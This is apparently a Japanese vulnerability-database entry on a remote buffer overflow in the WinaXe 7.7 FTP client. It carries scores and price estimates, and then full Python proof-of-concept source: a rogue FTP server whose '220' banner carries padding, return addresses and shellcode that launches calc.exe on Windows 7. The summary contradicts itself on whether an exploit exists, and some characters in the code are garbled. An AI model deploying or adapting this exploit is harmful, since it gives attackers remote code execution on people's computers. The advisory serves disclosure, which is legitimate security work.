WinaXe 7.7 FTP Client メモリ破損

履歴差分リンクするjsonxmlCTI

CVSS 一時的なメタスコア	現在のエクスプロイト価格 (≈)	CTI注目指数
6.6	$0-$5k	0.00

要約情報

現在、WinaXe 7.7にて、重大と分類される脆弱性が確認されています。この問題により影響を受けるのは、コンポーネント【FTP Client】の未知の機能です。未知の値で改ざんすることが、メモリ破損を突く攻撃に繋がります}。攻撃はリモートで開始される場合があります。エクスプロイトは存在しません。

現在、WinaXe 7.7にて、重大と分類される脆弱性が確認されています。この問題により影響を受けるのは、コンポーネント【FTP Client】の未知の機能です。未知の値で改ざんすることが、メモリ破損を突く攻撃に繋がります}。問題をCWEで宣言すると、CWE-119 になります。この脆弱性は 2016年11月05日に John Page (hyp3rlinx)より「Full-Disclosure」の Mailinglist Postにて「WinaXe v7.7 FTP 'Server Ready' CMD Remote Buffer Overflow」として紹介されました。アドバイザリーは seclists.org から入手可能です。

攻撃はリモートで開始される場合があります。技術的な情報は提供されていません。この脆弱性の一般的な利用度は平均を下回っています。エクスプロイトは存在しません。エクスプロイトツールは一般に公開されており、悪用される可能性があります。現時点で、脆弱性の構成から考えられる取引価格帯を約$0-$5k米ドルと算出しました。

このエクスプロイトツールは概念実証として宣言されています。エクスプロイトツールは seclists.org から入手可能です。 0-dayの際、アンダーグラウンド市場での想定価格は$0-$5k前後でした。エクスプロイトのソースコードは以下です：

import socket,struct
#WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit
#Discovery hyp3rlinx
#ISR: ApparitionSec
#hyp3rlinx.altervista.org

#shellcode to pop calc.exe Windows 7 SP1
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")

eip=struct.pack('<L',0x68084A6F)    #POP ECX RET
jmpesp=struct.pack('<L',0x68017296) #JMP ESP
#We will do POP ECX RET and place a JMP ESP address at the RET address
that will jump to shellcode.
payload="A"2061+eip+jmpesp+"\x90"10+sc+"\x90"*20     #Server Ready
'220' Exploit
port = 21
s = socket.socket()
host = '127.0.0.1'
s.bind((host, port))
s.listen(5)
print 'Evil FTPServer listening...'
while True:
    conn, addr = s.accept()
    conn.send('220'+payload+'\r\n')
    conn.close()